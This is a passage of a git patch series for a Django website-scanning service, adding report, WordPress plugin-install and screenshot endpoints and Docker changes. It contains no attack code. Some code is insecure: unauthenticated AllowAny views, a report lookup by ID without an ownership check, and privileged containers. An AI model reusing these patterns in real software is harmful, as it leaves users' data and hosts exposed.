record_api_call(request, data, '201') + response = Response(data, status=status.HTTP_201_CREATED) + return response + + + + + +def get_reports(request): + site_id = request.query_params.get('site_id', None) + report_id = request.query_params.get('report_id', None) + + if site_id: + site = get_object_or_404(Site, pk=site_id) + reports = Report.objects.filter(site=site, user=request.user).order_by('-time_created') + + if report_id: + reports = get_object_or_404(Report, pk=report_id) + + if site_id is None and report_id is None: + reports = Report.objects.filter(user=request.user).order_by('-time_created') + + paginator = LimitOffsetPagination() + result_page = paginator.paginate_queryset(reports, request) + serializer_context = {'request': request,} + serialized = ReportSerializer(result_page, many=True, context=serializer_context) + response = paginator.get_paginated_response(serialized.data) + record_api_call(request, response.data, '200') + return response + + + + + +def delete_report(request, id): + user = request.user + report = get_object_or_404(Report, pk=id) + + if report.user != user: + data = {'reason': 'you cannot delete Reports you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + # remove s3 objects + delete_report_s3_bg.delay(report_id=id) + + # remove report + report.delete() + + data = {'message': 'Report has been deleted',} + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + + + + def get_logs(request): log_id = request.query_params.get('log_id') @@ -863,6 +984,76 @@ def get_logs(request): + +def install_wp_plugin(request): + login_url = request.data.get('login_url', None) + admin_url = request.data.get('admin_url', None) + plugin_name = request.data.get('plugin_name', None) + username = request.data.get('username', None) + password = request.data.get('password', None) + wait_time = request.data.get('wait_time', 15) + + # init wordpress + wp = W( + login_url=login_url, + admin_url=admin_url, + username=username, + password=password, + wait_time=wait_time, + ) + + # login + wp_status = wp.login() + + # adjust lang + wp_status = wp.begin_lang_check() + + # install plugin + wp_status = wp.install_plugin(plugin_name=plugin_name) + + # re adjust lang + wp_status = wp.end_lang_check() + + if wp_status: + data = { + 'status': 'success', + 'message': 'plugin installed successfully' + } + else: + data = { + 'status': 'failed', + 'message': 'plugin installation failed' + } + + response = Response(data, status=status.HTTP_200_OK) + record_api_call(request, data, '200') + return response + + + + + +def create_site_screenshot(request): + user = request.user + site_id = request.data.get('site_id', None) + url = request.data.get('url', None) + configs = request.data.get('configs', None) + site = None + + if site_id is not None: + site = Site.objects.get(id=site_id) + + data = I().screenshot(site=site, url=url, configs=configs) + record_api_call(request, data, '201') + response = Response(data, status=status.HTTP_201_CREATED) + return response + + + + + + + def get_home_stats(request): sites = Site.objects.filter(user=request.user) site_count = sites.count() diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py index 69f0c299..ee707830 100644 --- a/app/api/v1/ops/tasks.py +++ b/app/api/v1/ops/tasks.py @@ -1,6 +1,7 @@ -from ...models import (Test, Site, Scan, Log) +from ...models import * from ...utils.scanner import Scanner as S from ...utils.tester import Tester as T +from ...utils.reporter import Reporter as R from ...utils.automations import automation import boto3 from scanerr import settings @@ -14,12 +15,19 @@ def create_site_task(site_id): def create_scan_task( - site_id, + scan_id=None, + site_id=None, automation_id=None, - configs=None + type=None, + configs=None, ): - site = Site.objects.get(id=site_id) - created_scan = Scan.objects.create(site=site) + if scan_id is not None: + created_scan = Scan.objects.get(id=scan_id) + elif site_id is not None: + site = Site.objects.get(id=site_id) + created_scan = Scan.objects.create( + site=site, + ) scan = S(scan=created_scan, configs=configs).first_scan() if automation_id: automation(automation_id, scan.id) @@ -29,7 +37,8 @@ def create_scan_task( def create_test_task( - site_id, + test_id=None, + site_id=None, automation_id=None, configs=None, type=['full'], @@ -37,7 +46,16 @@ def create_test_task( pre_scan=None, post_scan=None, ): - site = Site.objects.get(id=site_id) + + if test_id is not None: + created_test = Test.objects.get(id=test_id) + site = created_test.site + elif site_id is not None: + site = Site.objects.get(id=site_id) + created_test = Test.objects.create( + site=site, + type=type, + ) if not pre_scan and not post_scan: new_scan = S(site=site, configs=configs) @@ -54,13 +72,12 @@ def create_test_task( pre_scan.save() post_scan.save() - # creating new test object - created_test = Test.objects.create( - site=site, - type=type, - pre_scan=pre_scan, - post_scan=post_scan, - ) + # updating test object + created_test.type = type + created_test.pre_scan = pre_scan + created_test.post_scan = post_scan + created_test.save() + test = T(test=created_test).run_test(index=index) if automation_id: @@ -70,6 +87,33 @@ def create_test_task( +def create_report_task(site_id, automation_id=None): + site = Site.objects.get(id=site_id) + if Report.objects.filter(site=site).exists(): + report = Report.objects.filter(site=site).order_by('-time_created')[0] + else: + info = { + "text_color": '#24262d', + "background_color": '#e1effd', + "highlight_color": '#4283f8', + } + report = Report.objects.create( + user=site.user, + site=site, + info=info, + ) + + + report = R(report=report).make_test_report() + if automation_id: + automation(automation_id, report.id) + return report + + + + + + def delete_site_s3(site_id): # setup boto3 configurations s3 = boto3.resource('s3', @@ -85,3 +129,22 @@ def delete_site_s3(site_id): return + + +def delete_report_s3(report_id): + # setup boto3 configurations + s3 = boto3.resource('s3', + aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # get site + site = Report.objects.get(id=report_id).site + + # deleting s3 objects + bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME) + bucket.objects.filter(Prefix=str(f'static/sites/{site.id}/{report_id}.pdf')).delete() + + return diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py index ac6a96df..bc2cc034 100644 --- a/app/api/v1/ops/urls.py +++ b/app/api/v1/ops/urls.py @@ -5,7 +5,6 @@ urlpatterns = [ path('site', views.Sites.as_view(), name='site'), path('site/', views.SiteDetail.as_view(), name='site-detail'), - path('site//screenshot', views.SiteScreenshot.as_view(), name='site-screenshot'), path('site/delay', views.SiteDelay.as_view(), name='site-delay'), path('scan', views.Scans.as_view(), name='scan'), path('scan/', views.ScanDetail.as_view(), name='scan-detail'), @@ -19,5 +18,10 @@ path('schedule/', views.ScheduleDetail.as_view(), name='schedule-detail'), path('automation', views.Automations.as_view(), name='automation'), path('automation/', views.AutomationDetail.as_view(), name='automation-detail'), + path('report', views.Reports.as_view(), name='report'), + path('report/', views.ReportDetail.as_view(), name='report-detail'), path('home-stats', views.HomeStats.as_view(), name='home-stats'), + path('beta/wordpress/install-plugin', views.WordPressPluginInstall.as_view(), name='install-plugin'), + path('beta/site/screenshot', views.SiteScreenshot.as_view(), name='site-screenshot'), + ] \ No newline at end of file diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py index 2168656f..b77cd629 100644 --- a/app/api/v1/ops/views.py +++ b/app/api/v1/ops/views.py @@ -2,6 +2,7 @@ from rest_framework.response import Response from rest_framework import status from django.contrib.auth.models import User +from django.shortcuts import get_object_or_404 from ...models import * from django.urls import path, include from rest_framework import routers, serializers, viewsets @@ -37,7 +38,7 @@ class SiteDetail(APIView): http_method_names = ['get', 'delete'] def get(self, request, id): - site = Site.objects.get(id=id) + site = get_object_or_404(Site, pk=id) if site.user != request.user: data = {'reason': 'you cannot retrieve a Site you do not own',} return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -52,14 +53,6 @@ def delete(self, request, id): return response -class SiteScreenshot(APIView): - permission_classes = (AllowAny,) - http_method_names = ['post',] - - def get(self, request, id): - response = create_site_screenshot(request, id) - return response - class SiteDelay(APIView): permission_classes = (AllowAny,) @@ -91,7 +84,7 @@ class ScanDetail(APIView): http_method_names = ['get', 'delete',] def get(self, request, id): - scan = Scan.objects.get(id=id) + scan = get_object_or_404(Scan, pk=id) if scan.site.user != request.user: data = {'reason': 'you cannot retrieve Scans of a Site you do not own',} record_api_call(request, data, '403') @@ -141,7 +134,7 @@ class TestDetail(APIView): http_method_names = ['get', 'delete',] def get(self, request, id): - test = Test.objects.get(id=id) + test = get_object_or_404(Test, pk=id) if test.site.user != request.user: data = {'reason': 'you cannot retrieve Tests of a Site you do not own',} record_api_call(request, data, '403') @@ -190,7 +183,7 @@ class ScheduleDetail(APIView): http_method_names = ['get', 'delete'] def get(self, request, id): - schedule = Schedule.objects.get(id=id) + schedule = get_object_or_404(Schedule, pk=id) if schedule.site.user != request.user: data = {'reason': 'you cannot retrieve Schedules of a Site you do not own',} record_api_call(request, data, '403') @@ -229,7 +222,7 @@ class AutomationDetail(APIView): http_method_names = ['get', 'delete'] def get(self, request, id): - automation = Automation.objects.get(id=id) + automation = get_object_or_404(Automation, pk=id) if automation.user != request.user: data = {'reason': 'you cannot retrieve Automations you do not own',} record_api_call(request, data, '403') @@ -249,6 +242,43 @@ def delete(self, request, id): +class Reports(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post', 'get'] + + def post(self, request): + response = create_or_update_report(request) + return response + + def get(self, request): + response = get_reports(request) + return response + + + +class ReportDetail(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get', 'delete'] + + def get(self, request, id): + report = get_object_or_404(Report, pk=id) + if report.user != request.user: + data = {'reason': 'you cannot retrieve Reports you do not own',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + + serializer_context = {'request': request,} + serialized = ReportSerializer(report, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + def delete(self, request, id): + response = delete_report(request, id) + return response + + + class Logs(APIView): permission_classes = (AllowAny,) http_method_names = ['get',] @@ -264,7 +294,7 @@ class LogDetail(APIView): http_method_names = ['get',] def get(self, request, id): - log = Log.objects.get(id=id) + log = get_object_or_404(Log, pk=id) if log.user != request.user: data = {'reason': 'you cannot retrieve Logs you do not own',} record_api_call(request, data, '403') @@ -283,4 +313,24 @@ class HomeStats(APIView): def get(self, request): response = get_home_stats(request) + return response + + + + +class WordPressPluginInstall(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def post(self, request): + response = install_wp_plugin(request) + return response + + +class SiteScreenshot(APIView): + permission_classes = (AllowAny,) + http_method_names = ['post',] + + def post(self, request): + response = create_site_screenshot(request) return response \ No newline at end of file diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py index 1eabe537..f15c2ff7 100644 --- a/app/scanerr/settings.py +++ b/app/scanerr/settings.py @@ -17,10 +17,6 @@ # Build paths inside the project like this: BASE_DIR / 'subdir'. BASE_DIR = Path(__file__).resolve().parent.parent - -# Quick-start development settings - unsuitable for production -# See https://docs.djangoproject.com/en/3.2/howto/deployment/checklist/ - # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = os.environ.get('SECRET_KEY') @@ -89,12 +85,6 @@ if DEBUG == True: - # DATABASES = { - # 'default': { - # 'ENGINE': 'django.db.backends.sqlite3', - # 'NAME': BASE_DIR / 'db.sqlite3', - # } - # } DATABASES = { 'default': { 'ENGINE': 'django.db.backends.postgresql_psycopg2', # django.db.backends.postgresql @@ -108,12 +98,6 @@ else: - # DATABASES = { - # 'default': { - # 'ENGINE': 'django.db.backends.sqlite3', - # 'NAME': BASE_DIR / 'db.sqlite3', - # } - # } DATABASES = { 'default': { 'ENGINE': 'django.db.backends.postgresql_psycopg2', # django.db.backends.postgresql @@ -144,12 +128,12 @@ }, ] + # Django REST framework REST_FRAMEWORK = { # Use Django's standard `django.contrib.auth` permissions, # or allow read-only access for unauthenticated users. 'DEFAULT_PERMISSION_CLASSES': [ - # 'rest_framework.permissions.DjangoModelPermissionsOrAnonReadOnly', 'rest_framework.permissions.DjangoModelPermissions', ], @@ -161,12 +145,8 @@ 'DEFAULT_PAGINATION_CLASS': 'rest_framework.pagination.LimitOffsetPagination', 'PAGE_SIZE': 10, - # 'DEFAULT_RENDERER_CLASSES': [ - # 'rest_framework.renderers.JSONRenderer', - # ], } - # SIMPLE_JWT = { # 'ACCESS_TOKEN_LIFETIME': timedelta(minutes=.5), # 'REFRESH_TOKEN_LIFETIME': timedelta(minutes=1), @@ -191,12 +171,17 @@ # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/3.2/howto/static-files/ -# STATIC_URL = '/static/' -# STATIC_ROOT = os.path.join(BASE_DIR, "static") +STATIC_URL = '/static/' +STATIC_ROOT = os.path.join(BASE_DIR, "static") -# remote storage settings -DEFAULT_FILE_STORAGE = 'storages.backends.s3boto3.S3Boto3Storage' -STATICFILES_STORAGE = 'storages.backends.s3boto3.S3Boto3Storage' +# remote storage settings for serving static files to django admin +# DEFAULT_FILE_STORAGE = 'storages.backends.s3boto3.S3Boto3Storage' +# STATICFILES_STORAGE = 'storages.backends.s3boto3.S3Boto3Storage' +# STORAGE_DOMAIN = os.environ.get('STORAGE_DOMAIN') +# STATIC_ROOT = 'static' +# MEDIA_ROOT = 'media' +# STATIC_URL = f"https://{AWS_S3_ENDPOINT_URL}/{STATIC_ROOT}/" +# MEDIA_URL = f"https://{AWS_S3_ENDPOINT_URL}/{MEDIA_ROOT}/" # Used to authenticate with S3 using 'django-stores' pypi package and 'boto3' AWS_ACCESS_KEY_ID = os.environ.get('AWS_ACCESS_KEY_ID') @@ -209,7 +194,6 @@ AWS_S3_ENDPOINT_PATH = os.environ.get('AWS_S3_ENDPOINT_PATH') AWS_S3_CUSTOM_DOMAIN = os.environ.get('AWS_S3_CUSTOM_DOMAIN') AWS_S3_URL_PATH = os.environ.get('AWS_S3_URL_PATH') -STORAGE_DOMAIN = os.environ.get('STORAGE_DOMAIN') AWS_LOCATION = os.environ.get('AWS_LOCATION') AWS_DEFAULT_ACL = os.environ.get('AWS_DEFAULT_ACL') @@ -219,12 +203,6 @@ 'CacheControl': 'max-age=86400', } -STATIC_ROOT = 'static' -MEDIA_ROOT = 'media' -STATIC_URL = f"https://{AWS_S3_ENDPOINT_URL}/{STATIC_ROOT}/" -MEDIA_URL = f"https://{AWS_S3_ENDPOINT_URL}/{MEDIA_ROOT}/" - - # Redis and Celery Conf @@ -249,5 +227,6 @@ EMAIL_HOST_PASSWORD = os.environ.get('EMAIL_HOST_PASSWORD') +# google oAuth2 GOOGLE_OAUTH2_CLIENT_ID = os.environ.get('GOOGLE_OAUTH2_CLIENT_ID') GOOGLE_OAUTH2_CLIENT_SECRET = os.environ.get('GOOGLE_OAUTH2_CLIENT_SECRET') \ No newline at end of file diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml index 599cdc1c..05f608d0 100644 --- a/docker-compose.prod.yml +++ b/docker-compose.prod.yml @@ -2,6 +2,7 @@ version: '3' services: app: + privileged: true build: context: . dockerfile: Dockerfile.prod @@ -25,6 +26,7 @@ services: image: redis:alpine celery: + privileged: true restart: always build: context: . diff --git a/docker-compose.yml b/docker-compose.yml index 8a163dc0..2608836b 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -2,6 +2,7 @@ version: '3' services: app: + privileged: true build: context: . ports: @@ -30,6 +31,7 @@ services: redis: image: redis:alpine celery: + privileged: true restart: always build: context: . diff --git a/requirements.txt b/requirements.txt index fb77d2ed..4df8b44c 100644 --- a/requirements.txt +++ b/requirements.txt @@ -27,6 +27,7 @@ psycopg2==2.8.6 pytz==2021.1 redis==3.5.3 requests==2.25.1 +reportlab==3.6.6 selenium==4.1.0 six==1.16.0 sqlparse==0.4.1 From 26b674a52158b88b844db920b7466f7242cc44fb Mon Sep 17 00:00:00 2001 From: Landon Roddenberry Date: Wed, 16 Feb 2022 16:03:53 -0600 Subject: [PATCH 009/277] added --no-input flags to mirgation cmds --- .gitignore | 1 + docker-compose.prod.yml | 4 ++-- docker-compose.yml | 4 ++-- 3 files changed, 5 insertions(+), 4 deletions(-) diff --git a/.gitignore b/.gitignore index 8efdedf3..8711b0c4 100644 --- a/.gitignore +++ b/.gitignore @@ -16,3 +16,4 @@ env/.env.prod env/.env.prod.db app/static* +app/api/migrations/0001_initial.py diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml index 05f608d0..d0e3edb5 100644 --- a/docker-compose.prod.yml +++ b/docker-compose.prod.yml @@ -10,8 +10,8 @@ services: - ./app:/app - static_volume:/app/static command: > - sh -c "python3 manage.py makemigrations && - python3 manage.py migrate && + sh -c "python3 manage.py makemigrations --no-input && + python3 manage.py migrate --no-input && python3 manage.py collectstatic --no-input && python3 manage.py wait_for_db && python3 manage.py create_admin && diff --git a/docker-compose.yml b/docker-compose.yml index 2608836b..1ec86eba 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -10,8 +10,8 @@ services: volumes: - ./app:/app command: > - sh -c "python3 manage.py makemigrations && - python3 manage.py migrate && + sh -c "python3 manage.py makemigrations --no-input && + python3 manage.py migrate --no-input && python3 manage.py collectstatic --no-input && python3 manage.py wait_for_db && python3 manage.py create_admin && From e6b8026ec25111d7b2a9be19ed2b10f30321e86e Mon Sep 17 00:00:00 2001 From: Landon Roddenberry Date: Thu, 17 Feb 2022 09:13:16 -0600 Subject: [PATCH 010/277] adding scripts section --- app/temp/README.md | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 app/temp/README.md diff --git a/app/temp/README.md b/app/temp/README.md new file mode 100644 index 00000000..eb2288c2 --- /dev/null +++ b/app/temp/README.md @@ -0,0 +1,3 @@ +This directoy is used for handling s3 files and resources in transit to and from their home. + +DO NOT DELETE!!! \ No newline at end of file From 26b27d9019aca21df96db9b49a3ded5bcd522eb5 Mon Sep 17 00:00:00 2001 From: Landon Roddenberry Date: Thu, 17 Feb 2022 09:13:42 -0600 Subject: [PATCH 011/277] adding scripts section --- README.md | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index c5912c8d..f38fe851 100644 --- a/README.md +++ b/README.md @@ -20,6 +20,7 @@ Copyright © Scanerr 2021 - [Environment](#environment) - [Local](#local) - [Remote](#remote) + - [Scripts](#scripts)   @@ -105,4 +106,18 @@ $ docker-compose -f docker-compose.prod.yml down *Spin-down the application and removes the volumes* ```shell $ docker-compose -f docker-compose.prod.yml down -v -``` \ No newline at end of file +``` + + +  + +--- + +  + +## Scripts + +1. ssh into container +``` shell +$ docker exec -it /bin/sh +``` From cecdc766db4a4433ea9591b004597d5f01c2b682 Mon Sep 17 00:00:00 2001 From: Landon Roddenberry Date: Thu, 17 Feb 2022 09:14:03 -0600 Subject: [PATCH 012/277] fixing issue with temp dir creation --- app/api/utils/reporter.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py index 057e53cd..bf741fb4 100644 --- a/app/api/utils/reporter.py +++ b/app/api/utils/reporter.py @@ -35,7 +35,7 @@ def __init__(self, report, scan=None): if os.path.exists(os.path.join(settings.BASE_DIR, f'temp/')): self.local_path = os.path.join(settings.BASE_DIR, f'temp/{self.report.id}.pdf') else: - os.makedirs(f'{settings.BASE_DIR}temp/') + os.makedirs(f'{settings.BASE_DIR}/temp') self.local_path = os.path.join(settings.BASE_DIR, f'temp/{self.report.id}.pdf') self.page_index = 0 From 38d331e7cae8c9ac9ec74a1246fe9eca8c03df5a Mon Sep 17 00:00:00 2001 From: Landon Roddenberry Date: Thu, 17 Feb 2022 09:19:10 -0600 Subject: [PATCH 013/277] script changes --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index f38fe851..3b18629b 100644 --- a/README.md +++ b/README.md @@ -117,7 +117,7 @@ $ docker-compose -f docker-compose.prod.yml down -v ## Scripts -1. ssh into container +*ssh into container* ``` shell $ docker exec -it /bin/sh ``` From b676e07a52ceb9a046bc6614eb1fd176a34e7624 Mon Sep 17 00:00:00 2001 From: Landon Roddenberry Date: Thu, 17 Feb 2022 09:22:28 -0600 Subject: [PATCH 014/277] trying to fix permissions issue --- app/temp/{README.md => readthis.txt} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename app/temp/{README.md => readthis.txt} (100%) diff --git a/app/temp/README.md b/app/temp/readthis.txt similarity index 100% rename from app/temp/README.md rename to app/temp/readthis.txt From 01ed4e06e743bfc4adeecf471a02a524f716a466 Mon Sep 17 00:00:00 2001 From: Landon Roddenberry Date: Thu, 17 Feb 2022 09:29:33 -0600 Subject: [PATCH 015/277] fixing /temp issues --- app/temp/readthis.txt | 3 --- 1 file changed, 3 deletions(-) delete mode 100644 app/temp/readthis.txt diff --git a/app/temp/readthis.txt b/app/temp/readthis.txt deleted file mode 100644 index eb2288c2..00000000 --- a/app/temp/readthis.txt +++ /dev/null @@ -1,3 +0,0 @@ -This directoy is used for handling s3 files and resources in transit to and from their home. - -DO NOT DELETE!!! \ No newline at end of file From 6539aadd58f4675682cf462b8696b05dc65bc130 Mon Sep 17 00:00:00 2001 From: Landon Roddenberry Date: Sat, 19 Feb 2022 13:31:31 -0600 Subject: [PATCH 016/277] fixed typo --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 3b18629b..ddef7104 100644 --- a/README.md +++ b/README.md @@ -56,7 +56,7 @@ $ pip3 install virtualenv $ virtualenv appenv $ source appenv/bin/activate $ mkdir app -$ git clone https://github.com/Scanerr-io/api-test.git +$ git clone https://github.com/Scanerr-io/server.git ``` *Spin-up the application* ```shell From 113cdc528f43c18b0da1a613913959038d7c086e Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 29 Mar 2022 11:54:06 -0500 Subject: [PATCH 017/277] Switch from alpine to pyrthon-slim base img --- Dockerfile | 57 +++++++++++------------------------------ Dockerfile.prod | 57 +++++++++++------------------------------ commands | 8 +++--- docker-compose.prod.yml | 3 ++- docker-compose.yml | 14 +++++++--- 5 files changed, 47 insertions(+), 92 deletions(-) diff --git a/Dockerfile b/Dockerfile index 3e69e8a4..ae7fdda7 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,68 +1,41 @@ -FROM python:3.9-alpine - +FROM python:3.9-slim ENV PYTHONUNBUFFERED 1 # create the app user -RUN addgroup -S app && adduser -S app -G app - -# installing postgres deps -RUN apk add --update --no-cache postgresql-client jpeg-dev +RUN addgroup --system app && adduser --system app -# installing python3 -RUN apk add --no-cache --update \ - python3 python3-dev +# installing python3 & pip +RUN apt-get update && apt-get install -y python3 python3-pip -# installing env deps -RUN apk add --update --no-cache --virtual .tmp-build-deps \ - gcc libc-dev linux-headers postgresql-dev musl-dev zlib zlib-dev \ - build-base libffi libffi-dev fontconfig libjpeg-turbo-dev \ - ttf-freefont ca-certificates freetype freetype-dev harfbuzz nss \ - nasm git make g++ automake autoconf libtool gfortran openssl - -# installing chromium and chromium-chromedriver -RUN apk add --update --no-cache chromium chromium-chromedriver +# installing system deps +RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \ + gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ + libfontconfig # installing node and npm -RUN apk add --update nodejs npm +RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \ + && npm install -g n && n lts # increasing allocated memory to node RUN export NODE_OPTIONS="--max-old-space-size=2048" -# installing lighthouse -RUN npm install -g lighthouse +# installing lighthouse & yellowlabtools +RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools -# installing yellowlabs tools -RUN npm install -g yellowlabtools # telling Puppeteer to skip installing Chrome ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true # telling phantomas where Chromium binary is and that we're in docker -ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium-browser +ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium ENV DOCKERIZED yes # setting --no-sandbox for Phantomas -RUN chromium-browser --no-sandbox --version - -# inatalling numpy -RUN apk add --update --no-cache py3-numpy - -# installing scipy -RUN apk add --update --no-cache py3-scipy - -# setting path for numpy and scipy -ENV PYTHONPATH /usr/lib/python3.9/site-packages - -# super hacky BS to fix Alpine instalation issues with the data science packages -RUN find /usr/lib/python3.9/site-packages -iname "*.so" -exec sh -c 'x="{}"; mv "$x" "${x/cpython-39-x86_64-linux-musl./}"' \; - -# installing sewar -RUN python3 -m pip install --no-deps sewar==0.4.4 +RUN chromium --no-sandbox --version # installing requirements COPY ./requirements.txt /requirements.txt RUN python3 -m pip install -r /requirements.txt -RUN apk del .tmp-build-deps # setting working dir RUN mkdir /app @@ -71,4 +44,4 @@ WORKDIR /app # setting ownership RUN chown -R app:app /app -RUN chown -R app:app /usr/bin/chromium-browser \ No newline at end of file +RUN chown -R app:app /usr/bin/chromium \ No newline at end of file diff --git a/Dockerfile.prod b/Dockerfile.prod index 3e69e8a4..ae7fdda7 100644 --- a/Dockerfile.prod +++ b/Dockerfile.prod @@ -1,68 +1,41 @@ -FROM python:3.9-alpine - +FROM python:3.9-slim ENV PYTHONUNBUFFERED 1 # create the app user -RUN addgroup -S app && adduser -S app -G app - -# installing postgres deps -RUN apk add --update --no-cache postgresql-client jpeg-dev +RUN addgroup --system app && adduser --system app -# installing python3 -RUN apk add --no-cache --update \ - python3 python3-dev +# installing python3 & pip +RUN apt-get update && apt-get install -y python3 python3-pip -# installing env deps -RUN apk add --update --no-cache --virtual .tmp-build-deps \ - gcc libc-dev linux-headers postgresql-dev musl-dev zlib zlib-dev \ - build-base libffi libffi-dev fontconfig libjpeg-turbo-dev \ - ttf-freefont ca-certificates freetype freetype-dev harfbuzz nss \ - nasm git make g++ automake autoconf libtool gfortran openssl - -# installing chromium and chromium-chromedriver -RUN apk add --update --no-cache chromium chromium-chromedriver +# installing system deps +RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \ + gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ + libfontconfig # installing node and npm -RUN apk add --update nodejs npm +RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \ + && npm install -g n && n lts # increasing allocated memory to node RUN export NODE_OPTIONS="--max-old-space-size=2048" -# installing lighthouse -RUN npm install -g lighthouse +# installing lighthouse & yellowlabtools +RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools -# installing yellowlabs tools -RUN npm install -g yellowlabtools # telling Puppeteer to skip installing Chrome ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true # telling phantomas where Chromium binary is and that we're in docker -ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium-browser +ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium ENV DOCKERIZED yes # setting --no-sandbox for Phantomas -RUN chromium-browser --no-sandbox --version - -# inatalling numpy -RUN apk add --update --no-cache py3-numpy - -# installing scipy -RUN apk add --update --no-cache py3-scipy - -# setting path for numpy and scipy -ENV PYTHONPATH /usr/lib/python3.9/site-packages - -# super hacky BS to fix Alpine instalation issues with the data science packages -RUN find /usr/lib/python3.9/site-packages -iname "*.so" -exec sh -c 'x="{}"; mv "$x" "${x/cpython-39-x86_64-linux-musl./}"' \; - -# installing sewar -RUN python3 -m pip install --no-deps sewar==0.4.4 +RUN chromium --no-sandbox --version # installing requirements COPY ./requirements.txt /requirements.txt RUN python3 -m pip install -r /requirements.txt -RUN apk del .tmp-build-deps # setting working dir RUN mkdir /app @@ -71,4 +44,4 @@ WORKDIR /app # setting ownership RUN chown -R app:app /app -RUN chown -R app:app /usr/bin/chromium-browser \ No newline at end of file +RUN chown -R app:app /usr/bin/chromium \ No newline at end of file diff --git a/commands b/commands index 55091b6a..8a161292 100644 --- a/commands +++ b/commands @@ -1,14 +1,14 @@ ### spins up container on localhost ### -docker-compose up --build +docker compose up --build ### spins down container on localhost ### -docker-compose down +docker compose down ### spins up the container for production ### -docker-compose -f docker-compose.prod.yml up -d --build +docker compose -f docker-compose.prod.yml up -d --build ### spins down the container and removes volumes ### -docker-compose -f docker-compose.prod.yml down -v +docker compose -f docker-compose.prod.yml down -v diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml index d0e3edb5..818ad8b9 100644 --- a/docker-compose.prod.yml +++ b/docker-compose.prod.yml @@ -15,7 +15,8 @@ services: python3 manage.py collectstatic --no-input && python3 manage.py wait_for_db && python3 manage.py create_admin && - python3 manage.py driver_test && + python3 manage.py driver_s_test && + python3 manage.py driver_p_test && gunicorn scanerr.wsgi:application --bind 0.0.0.0:8000" expose: - 8000 diff --git a/docker-compose.yml b/docker-compose.yml index 1ec86eba..a8ab34b4 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -1,10 +1,11 @@ version: '3' - services: + app: privileged: true build: context: . + dockerfile: Dockerfile ports: - "8000:8000" volumes: @@ -15,7 +16,8 @@ services: python3 manage.py collectstatic --no-input && python3 manage.py wait_for_db && python3 manage.py create_admin && - python3 manage.py driver_test && + python3 manage.py driver_s_test && + python3 manage.py driver_p_test && python3 manage.py runserver 0.0.0.0:8000" env_file: - ./env/.env.dev @@ -28,8 +30,10 @@ services: - ./env/.env.dev volumes: - pgdata:/var/lib/postgresql/data + redis: image: redis:alpine + celery: privileged: true restart: always @@ -44,5 +48,9 @@ services: - db - redis - app + volumes: - pgdata: \ No newline at end of file + pgdata: + + + # python3 manage.py driver_p_test && python3 manage.py driver_s_test && \ No newline at end of file From 87bb3cf47d6ca61fcaad1b68eb842617b95d129f Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 29 Mar 2022 11:55:50 -0500 Subject: [PATCH 018/277] new dependencies and configs --- .gitignore | 3 +++ env/.env.dev.example | 6 ++++++ env/.env.prod.example | 8 +++++++- requirements.txt | 27 +++++++++++++++++++-------- 4 files changed, 35 insertions(+), 9 deletions(-) diff --git a/.gitignore b/.gitignore index 8711b0c4..9056f8d7 100644 --- a/.gitignore +++ b/.gitignore @@ -15,5 +15,8 @@ env/.env.dev env/.env.prod env/.env.prod.db app/static* +Dockerfile.alpine +Dockerfile.dev1 +Dockerfile.dev3 app/api/migrations/0001_initial.py diff --git a/env/.env.dev.example b/env/.env.dev.example index 7327533f..21cf847a 100644 --- a/env/.env.dev.example +++ b/env/.env.dev.example @@ -31,6 +31,8 @@ POSTGRES_PASSWORD = supersecretpassword # paths CHROMEDRIVER = /usr/bin/chromedriver +GOOGLECHROME = /usr/bin/google-chrome +CHROMIUM = 